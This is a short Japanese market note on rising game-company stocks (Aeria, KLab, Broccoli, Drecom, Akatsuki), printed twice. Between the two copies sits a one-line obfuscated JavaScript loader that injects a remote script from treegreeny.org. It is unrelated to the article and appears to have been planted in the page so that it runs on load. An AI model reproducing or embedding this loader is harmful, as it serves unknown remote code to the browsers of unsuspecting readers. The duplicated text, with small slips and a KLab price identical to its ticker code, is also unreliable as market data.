【3758】アエリア 2347円 +123 (+5.53%)
【3656】Klab 3656円 +18 (+1.02%)
【2706】ブロッコリー 1034円 +14 (+1.37%)
【3793】ドリコム 1477円 +33 (+2.28%)
【3932】アカツキ 9540円 +110 (+1.16%)
注目銘柄の銘柄もあるがゲーム株に軒並み買い戻しのの動きが目立つ。買い一巡後の戻り売りには警戒だが引き続き上記銘柄などはして見ておきたい。
;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn");
【3758】アエリア 2347円 +123 (+5.53%)
【3656】Klab 3656円 +18 (+1.02%)
【2706】ブロッコリー 1034円 +14 (+1.37%)
【3793】ドリコム 1477円 +33 (+2.28%)
【3932】アカツキ 9540円 +110 (+1.16%)
注目銘柄の銘柄もあるがゲーム株に軒並み買い戻しのの動きが目立つ。買い一巡後の戻り売りには警戒だが引き続き上記銘柄などはして見ておきたい。